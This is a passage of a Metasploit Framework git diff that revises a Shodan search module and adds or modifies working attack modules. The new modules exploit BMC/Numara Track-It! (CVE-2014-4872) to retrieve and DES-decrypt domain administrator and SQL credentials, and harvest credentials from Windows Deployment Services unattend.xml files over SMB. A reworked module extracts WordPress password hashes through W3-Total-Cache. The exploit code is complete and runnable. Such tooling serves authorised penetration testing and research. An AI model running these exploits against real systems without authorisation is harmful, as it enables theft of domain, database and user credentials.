OptString.new('SHODAN_APIKEY', [true, "The SHODAN API key"]), - OptString.new('QUERY', [true, "Keywords you want to search for"]), - OptString.new('OUTFILE', [false, "A filename to store the list of IPs"]), - OptBool.new('DATABASE', [false, "Add search results to the database", false]), - OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1]), - OptString.new('FILTER', [false, 'Search for a specific IP/City/Country/Hostname']), - OptString.new('VHOST', [true, 'The virtual host name to use in requests', 'www.shodanhq.com']), + OptString.new('SHODAN_APIKEY', [true, 'The SHODAN API key']), + OptString.new('QUERY', [true, 'Keywords you want to search for']), + OptString.new('OUTFILE', [false, 'A filename to store the list of IPs']), + OptBool.new('DATABASE', [false, 'Add search results to the database', false]), + OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]), + OptRegexp.new('REGEX', [true, 'Regex search for a specific IP/City/Country/Hostname', '.*']) + ], self.class) end # create our Shodan query function that performs the actual web request def shodan_query(query, apikey, page) # send our query to Shodan - uri = "/api/search?&q=" + Rex::Text.uri_encode(query) + "&key=" + apikey + "&page=" + page.to_s - res = send_request_raw( - { - 'rhost' => shodan_rhost, - 'rport' => shodan_rport, - 'vhost' => vhost, - 'method' => 'GET', - 'uri' => uri - }, 25) + uri = URI.parse('https://api.shodan.io/shodan/host/search?query=' + + Rex::Text.uri_encode(query) + '&key=' + apikey + '&page=' + page.to_s) + http = Net::HTTP.new(uri.host, uri.port) + http.use_ssl = true + request = Net::HTTP::Get.new(uri.request_uri) + res = http.request(request) - # Check if we got a response, parse the JSON, and return it - if (res) + if res and res.body =~ /401 Unauthorized<\/title>/ + fail_with(Failure::BadConfig, '401 Unauthorized. Your SHODAN_APIKEY is invalid') + end + + # Check if we can resolve host, got a response, + # then parse the JSON, and return it + if res results = ActiveSupport::JSON.decode(res.body) return results else - return 'server_error' + return 'server_response_error' end end + # save output to file def save_output(data) - f = ::File.open(datastore['OUTFILE'], "wb") - f.write(data) - f.close - print_status("Save results in #{datastore['OUTFILE']}") + ::File.open(datastore['OUTFILE'], 'wb') do |f| + f.write(data) + print_status("Saved results in #{datastore['OUTFILE']}") + end end + # Check to see if api.shodan.io resolves properly def shodan_rhost - @res = Net::DNS::Resolver.new() - dns_query = @res.query("#{datastore['VHOST']}", "A") + @res = Net::DNS::Resolver.new + dns_query = @res.query('api.shodan.io', 'A') if dns_query.answer.length == 0 - print_error("Could not resolve #{datastore['VHOST']}") - raise ::Rex::ConnectError(vhost, shodan_port) + print_error('Could not resolve api.shodan.io') + raise ::Rex::ConnectError('api.shodan.io', '443') end dns_query.answer[0].to_s.split(/[\s,]+/)[4] end - def shodan_rport - 80 - end - def run + # check to ensure api.shodan.io is resolvable + shodan_rhost # create our Shodan request parameters query = datastore['QUERY'] apikey = datastore['SHODAN_APIKEY'] - page = 1 + maxpage = datastore['MAXPAGE'] # results gets our results from shodan_query results = [] results[page] = shodan_query(query, apikey, page) - if results[page].empty? - print_error("No Results Found!") - return + if results[page]['total'].nil? || results[page]['total'] == 0 + print_error('No Results Found!') end # Determine page count based on total results - if results[page]['total']%50 == 0 - tpages = results[page]['total']/50 + if results[page]['total'] % 100 == 0 + tpages = results[page]['total'] / 100 else - tpages = results[page]['total']/50 + 1 + tpages = results[page]['total'] / 100 + 1 + maxpage = tpages if datastore['MAXPAGE'] > tpages end # start printing out our query statistics - print_status("Total: #{results[page]['total']} on #{tpages} pages. Showing: #{datastore['MAXPAGE']}") - print_status("Country Statistics:") - results[page]['countries'].each { |ctry| - print_status "\t#{ctry['name']} (#{ctry['code']}): #{ctry['count']}" - } + print_status("Total: #{results[page]['total']} on #{tpages} " + + "pages. Showing: #{maxpage} page(s)") - # If search results greater than 50, loop & get all results - print_status("Collecting data, please wait...") - if (results[page]['total'] > 50) + # If search results greater than 100, loop & get all results + print_status('Collecting data, please wait...') + if results[page]['total'] > 100 page += 1 - while page <= tpages - results[page] = shodan_query(query, apikey, page) - page +=1 + while page <= maxpage break if page > datastore['MAXPAGE'] + results[page] = shodan_query(query, apikey, page) + page += 1 end end # Save the results to this table tbl = Rex::Ui::Text::Table.new( - 'Header' => 'IP Results', + 'Header' => 'Search Results', 'Indent' => 1, - 'Columns' => ['IP', 'City', 'Country', 'Hostname'] + 'Columns' => ['IP:Port', 'City', 'Country', 'Hostname'] ) - # Organize results and put them into the table - page = 1 - my_filter = datastore['FILTER'] - for i in page..tpages - next if results[i].nil? or results[i]['matches'].nil? - results[i]['matches'].each { |host| - - city = host['city'] || 'N/A' - ip = host['ip'] || 'N/A' + # Organize results and put them into the table and database + p = 1 + regex = datastore['REGEX'] if datastore['REGEX'] + while p <= maxpage + break if p > maxpage + results[p]['matches'].each do |host| + city = host['location']['city'] || 'N/A' + ip = host['ip_str'] || 'N/A' port = host['port'] || '' - country = host['country_name'] || 'N/A' + country = host['location']['country_name'] || 'N/A' hostname = host['hostnames'][0] data = host['data'] - if ip =~ /#{my_filter}/ or - city =~ /#{my_filter}/i or - country =~ /#{my_filter}/i or - hostname =~ /#{my_filter}/i or - data =~ /#{my_filter}/i - # Unfortunately we cannot display the banner properly, - # because it messes with our output format - tbl << ["#{ip}:#{port}", city, country, hostname] + report_host(:host => ip, + :name => hostname, + :comments => 'Added from Shodan', + :info => host['info'] + ) if datastore['DATABASE'] + + report_service(:host => ip, + :port => port, + :info => 'Added from Shodan' + ) if datastore['DATABASE'] + + if ip =~ regex || + city =~ regex || + country =~ regex || + hostname =~ regex || + data =~ regex + # Unfortunately we cannot display the banner properly, + # because it messes with our output format + tbl << ["#{ip}:#{port}", city, country, hostname] end - } + end + p += 1 end - #Show data and maybe save it if needed - print_line("\n#{tbl.to_s}") - - report_note( - :type => 'shodan', - :data => tbl.to_csv - ) if datastore['DATABASE'] - - save_output(tbl.to_s) if not datastore['OUTFILE'].nil? + # Show data and maybe save it if needed + print_line + print_line("#{tbl}") + save_output(tbl) if datastore['OUTFILE'] end end diff --git a/modules/auxiliary/gather/trackit_sql_domain_creds.rb b/modules/auxiliary/gather/trackit_sql_domain_creds.rb new file mode 100644 index 0000000000..3ade9cc01e --- /dev/null +++ b/modules/auxiliary/gather/trackit_sql_domain_creds.rb @@ -0,0 +1,374 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure', + 'Description' => %q{ + This module exploits an unauthenticated configuration retrieval .NET remoting + service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain + Administrator and the SQL server user credentials. + This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, + 10.0.0.143 and 9.0.30.248. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-4872' ], + [ 'OSVDB', '112741' ], + [ 'US-CERT-VU', '121036' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ] + ], + 'DisclosureDate' => 'Oct 7 2014' + )) + register_options( + [ + OptPort.new('RPORT', + [true, '.NET remoting service port', 9010]) + ], self.class) + end + + + def prepare_packet(bmc) + # + # ConfigurationService packet structure: + # + # packet_header_pre_packet_size + # packet_size (4 bytes) + # packet_header_pre_uri_size + # uri_size (2 bytes) + # packet_header_pre_uri + # uri + # packet_header_post_uri + # packet_body_start_pre_method_size + # method_size (1 byte) + # method + # packet_body_pre_type_size + # type_size (1 byte) + # packet_body_pre_type + # type + # @packet_terminator + # + # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx + # + # P.S.: Lots of fun stuff can be obtained from the response. Highlights include: + # - DatabaseServerName + # - DatabaseName + # - SchemaOwnerDatabaseUser + # - EncryptedSystemDatabasePassword + # - DomainAdminUserName + # - DomainAdminEncryptedPassword + # + packet_header_pre_packet_size= [ + 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00 + ] + + packet_header_pre_uri_size = [ + 0x04, 0x00, 0x01, 0x01 + ] + + packet_header_pre_uri = [ + 0x00, 0x00 + ] + + # contains binary type (application/octet-stream) + packet_header_post_uri = [ + 0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00, + 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, + 0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x00, 0x00 + ] + + packet_body_start_pre_method_size = [ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12 + ] + + packet_body_pre_type_size = [ 0x12 ] + + packet_body_pre_type = [ 0x01 ] + + @packet_terminator = [ 0x0b ] + + service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) + method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) + type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt")) + + uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service + + packet_size = + packet_header_pre_uri_size.length + + 2 + # uri_size + packet_header_pre_uri.length + + uri.length + + packet_header_post_uri.length + + packet_body_start_pre_method_size.length + + 1 + # method_size + method.length + + packet_body_pre_type_size.length + + 1 + # type_size + packet_body_pre_type.length + + type.length + + # start of packet and packet size (4 bytes) + buf = packet_header_pre_packet_size.pack('C*') + buf << Array(packet_size).pack('L*') + + # uri size (2 bytes) + buf << packet_header_pre_uri_size.pack('C*') + buf << Array(uri.length).pack('S*') + + # uri + buf << packet_header_pre_uri.pack('C*') + buf << uri.bytes.to_a.pack('C*') + buf << packet_header_post_uri.pack('C*') + + # method name + buf << packet_body_start_pre_method_size.pack('C*') + buf << Array(method.length).pack('C*') + buf << method.bytes.to_a.pack('C*') + + # type name + buf << packet_body_pre_type_size.pack('C*') + buf << Array(type.length).pack('C*') + buf << packet_body_pre_type.pack('C*') + buf << type.bytes.to_a.pack('C*') + + buf << @packet_terminator.pack('C*') + + return buf + end + + + def fill_loot_from_packet(packet_reply, loot) + loot.each_key { |str| + if loot[str] != nil + next + end + if (index = (packet_reply.index(str))) != nil + # after str, discard 5 bytes then get str_value + size = packet_reply[index + str.length + 5,1].unpack('C*')[0] + if size == 255 + # if we received 0xFF then there is no value for this str + # set it to empty but not nil so that we don't look for it again + loot[str] = "" + next + end + loot[str] = packet_reply[index + str.length + 6, size] + end + } + end + + + def run + packet = prepare_packet(true) + + sock = connect + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") + end + sock.write(packet) + + # type of database (Oracle or SQL Server) + database_type = "DatabaseType" + # Database server name (host\sid for Oracle or host\login_name for SQL Server) + database_server_name = "DatabaseServerName" + database_name = "DatabaseName" + schema_owner = "SchemaOwnerDatabaseUser" + database_pw = "EncryptedSystemDatabasePassword" + domain_admin_name = "DomainAdminUserName" + domain_admin_pw = "DomainAdminEncryptedPassword" + + loot = { + database_type => nil, + database_server_name => nil, + database_name => nil, + schema_owner => nil, + database_pw => nil, + domain_admin_name => nil, + domain_admin_pw => nil + } + + # We only break when we have a timeout (up to 15 seconds wait) or have all we need + while true + ready = IO.select([sock], nil, nil, 15) + if ready + packet_reply = sock.readpartial(4096) + else + print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.") + break + end + if packet_reply =~ /Service not found/ + # This is most likely an older Numara version, re-do the packet and send again. + print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...") + sock.close + sock = connect + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") + end + packet = prepare_packet(false) + sock.write(packet) + packet_reply = sock.readpartial(4096) + end + + fill_loot_from_packet(packet_reply, loot) + + if not loot.has_value?(nil) + break + end + end + sock.close + + # now set the values that were not found back to nil + loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) } + + if loot[database_type] + print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}") + end + + if loot[database_server_name] + print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}") + end + + if loot[database_name] + print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}") + end + + if loot[schema_owner] + print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}") + end + + if loot[database_pw] + cipher = OpenSSL::Cipher::Cipher.new("des") + cipher.decrypt + cipher.key = 'NumaraTI' + cipher.iv = 'NumaraTI' + loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw])) + loot[database_pw] << cipher.final + print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}") + end + + if loot[domain_admin_name] + print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}") + end + + if loot[domain_admin_pw] + cipher = OpenSSL::Cipher::Cipher.new("des") + cipher.decrypt + cipher.key = 'NumaraTI' + cipher.iv = 'NumaraTI' + loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw])) + loot[domain_admin_pw] << cipher.final + print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}") + end + + if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name] + # If it is Oracle we need to save the SID for creating the Credential Core, else we don't care + if loot[database_type] =~ /Oracle/i + sid = loot[database_server_name].split('\\')[1] + else + sid = nil + end + + credential_core = report_credential_core({ + password: loot[database_pw], + username: loot[schema_owner], + sid: sid + }) + + # Get just the hostname + db_address= loot[database_server_name].split('\\')[0] + + begin + database_login_data = { + address: ::Rex::Socket.getaddress(db_address, true), + service_name: loot[database_type], + protocol: 'tcp', + workspace_id: myworkspace_id, + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # If it's Oracle, use the Oracle port, else use MSSQL + if loot[database_type] =~ /Oracle/i + database_login_data[:port] = 1521 + else + database_login_data[:port] = 1433 + end + create_credential_login(database_login_data) + # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname + rescue SocketError + print_error "Could not resolve Database Server Hostname." + end + + print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}") + end + + if loot[domain_admin_name] and loot[domain_admin_pw] + report_credential_core({ + password: loot[domain_admin_pw], + username: loot[domain_admin_name].split('\\')[1], + domain: loot[domain_admin_name].split('\\')[0] + }) + + print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}") + end + end + + + def report_credential_core(cred_opts={}) + # Set up the has for our Origin service + origin_service_data = { + address: rhost, + port: rport, + service_name: 'Domain', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: cred_opts[:password], + username: cred_opts[:username] + } + + if cred_opts[:domain] + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: cred_opts[:domain] + }) + elsif cred_opts[:sid] + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER, + realm_value: cred_opts[:sid] + }) + end + + credential_data.merge!(origin_service_data) + create_credential(credential_data) + end +end diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb index 346b202807..1c28dfbf94 100644 --- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb +++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary users_table = Rex::Ui::Text::Table.new( 'Header' => 'vBulletin Users', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['Username', 'Password Hash', 'Salt'] ) diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb new file mode 100644 index 0000000000..1a45f7faa9 --- /dev/null +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -0,0 +1,232 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dcerpc' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::DCERPC + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', + 'Description' => %q{ + This module will search remote file shares for unattended installation files that may contain + domain credentials. This is often used after discovering domain credentials with the + auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already + have domain credentials. This module will connect to the RemInst share and any Microsoft + Deployment Toolkit shares indicated by the share name comments. + }, + 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'], + ], + )) + + register_options( + [ + Opt::RPORT(445), + OptString.new('SMBDomain', [ false, "SMB Domain", '']), + ], self.class) + + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + end + + # Determine the type of share based on an ID type value + def share_type(val) + stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY } + stypes[val] || 'UNKNOWN' + end + + + # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC + # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed! + def srvsvc_netshareenum + shares = [] + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) + + begin + dcerpc_bind(handle) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{rhost} : #{e.message}") + return + end + + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(1) #level + + ref_id = stubdata[0,4].unpack("V")[0] + ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") + + stubdata << ctr + stubdata << NDR.align(ctr) + stubdata << [0xffffffff].pack("V") + stubdata << [ref_id + 8, 0].pack("VV") + + response = dcerpc.call(0x0f, stubdata) + + # Additional error handling and validation needs to occur before + # this code can be moved into a mixin + + res = response.dup + win_error = res.slice!(-4, 4).unpack("V")[0] + if win_error != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}") + end + + # Level, CTR header, Reference ID of CTR + res.slice!(0,12) + share_count = res.slice!(0, 4).unpack("V")[0] + + # Reference ID of CTR1 + res.slice!(0,4) + share_max_count = res.slice!(0, 4).unpack("V")[0] + + if share_max_count != share_count + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count") + end + + # ReferenceID / Type / ReferenceID of Comment + types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} + + share_count.times do |t| + length, offset, max_length = res.slice!(0, 12).unpack("VVV") + + if offset != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero") + end + + if length != max_length + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length") + end + + name = res.slice!(0, 2 * length) + res.slice!(0,2) if length % 2 == 1 # pad + + comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") + + if comment_offset != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero") + end + + if comment_length != comment_max_length + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length") + end + + comment = res.slice!(0, 2 * comment_length) + res.slice!(0,2) if comment_length % 2 == 1 # pad + + shares << [ name, share_type(types[t]), comment] + end + + shares + end + + def run_host(ip) + deploy_shares = [] + + begin + connect + smb_login + srvsvc_netshareenum.each do |share| + # Ghetto unicode to ascii conversation + share_name = share[0].unpack("v*").pack("C*").split("\x00").first + share_comm = share[2].unpack("v*").pack("C*").split("\x00").first + share_type = share[1] + + if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share") + vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}") + deploy_shares << share_name + end + end + + deploy_shares.each do |deploy_share| + query_share(deploy_share) + end + + rescue ::Interrupt + raise $! + end + end + + def query_share(share) + share_path = "\\\\#{rhost}\\#{share}" + vprint_status("#{rhost}:#{rport} Enumerating #{share}...") + + begin + simple.connect(share_path) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}") + return + end + + results = simple.client.file_search("\\", /unattend.xml$/i, 10) + + results.each do |file_path| + file = simple.open(file_path, 'o').read() + next unless file + + loot_unattend(file) + + creds = parse_client_unattend(file) + creds.each do |cred| + next unless (cred && cred['username'] && cred['password']) + next unless cred['username'].to_s.length > 0 + next unless cred['password'].to_s.length > 0 + + report_creds(cred['domain'].to_s, cred['username'], cred['password']) + print_good("#{rhost}:#{rport} Credentials: " + + "Path=#{share_path}#{file_path} " + + "Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " + + "Password=#{cred['password'].to_s}" + ) + end + end + + end + + def parse_client_unattend(data) + + begin + xml = REXML::Document.new(data) + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end + Rex::Parser::Unattend.parse(xml).flatten + end + + def loot_unattend(data) + return if data.empty? + path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") + print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}") + end + + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass + ) + end + +end + diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 48f17df209..dc014e4abe 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -1,13 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -15,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract', 'Description' => - "The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements + "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards so it can be vulnerable. These cache files are in the webroot of the Wordpress installation and can be downloaded if the name is guessed. This modules tries to @@ -25,76 +24,82 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '88744'], - [ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242'] + ['OSVDB', '88744'], + ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242'], + ['WPVDB', '6621'] ], 'Author' => [ - 'Christian Mehlmauer', # Metasploit module - 'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC + 'Christian Mehlmauer', # Metasploit module + 'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC ] ) register_options( [ - OptString.new('TARGETURI', [ true, 'Wordpress root', '/']), - OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']), - OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]), - OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]), - OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content']) + OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']), + OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]), + OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25]) ], self.class) end - def wordpress_url - url = target_uri - url.path << "/" if url.path[-1,1] != "/" - url + def table_prefix + datastore['TABLE_PREFIX'] + end + + def site_iterations + datastore['SITE_ITERATIONS'] + end + + def user_iterations + datastore['USER_ITERATIONS'] end # Call the User site, so the db statement will be cached def cache_user_info(user_id) - user_url = normalize_uri(wordpress_url) + user_url = normalize_uri(target_uri) begin send_request_cgi( - { - "uri" => user_url, - "method" => "GET", - "vars_get" => { - "author" => user_id.to_s - } - }) + 'uri' => user_url, + 'method' => 'GET', + 'vars_get' => { + 'author' => user_id.to_s + } + ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - vprint_error("Unable to connect to #{url}") - return nil + vprint_error("Unable to connect to #{user_url}") rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("Unable to connect to #{url}") - return nil + vprint_error("Unable to connect to #{user_url}") end + + nil end def run_host(ip) - users_found = false - for site_id in 1..datastore["SITE_ITERATIONS"] do + (1..site_iterations).each do |site_id| + vprint_status("Trying site_id #{site_id}...") - for user_id in 1..datastore["USER_ITERATIONS"] do + + (1..user_iterations).each do |user_id| + vprint_status("Trying user_id #{user_id}...") + # used to cache the statement cache_user_info(user_id) - query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'" + query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'" query_md5 = ::Rex::Text.md5(query) - host = datastore["VHOST"] || ip - key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" + host = datastore['VHOST'] || ip + key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) - hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") - uri << hash_path + hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5) + url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path) result = nil begin - result = send_request_cgi({ "uri" => url, "method" => "GET" }) + result = send_request_cgi('uri' => url, 'method' => 'GET') rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect to #{url}") break @@ -103,8 +108,8 @@ class Metasploit3 < Msf::Auxiliary break end - if result.nil? or result.body.nil? - print_error("No response received") + if result.nil? || result.body.nil? + print_error('No response received') break end @@ -113,18 +118,18 @@ class Metasploit3 < Msf::Auxiliary print_good("Username: #{match[0]}") print_good("Password Hash: #{match[1]}") report_auth_info( - :host => rhost, - :port => rport, - :sname => ssl ? "https" : "http", - :user => match[0], - :pass => match[1], - :active => true, - :type => "hash" + host: rhost, + port: rport, + sname: ssl ? 'https' : 'http', + user: match[0], + pass: match[1], + active: true, + type: 'hash' ) users_found = true end end end - print_error("No users found :(") unless users_found + print_error('No users found :(') unless users_found end end diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb index 5e76ef9005..20191221bd 100644 --- a/modules/auxiliary/gather/xbmc_traversal.rb +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index cee295d916..7ad4e310cd 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index af75150593..1cf00d1a6b 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/afp/afp_login.rb 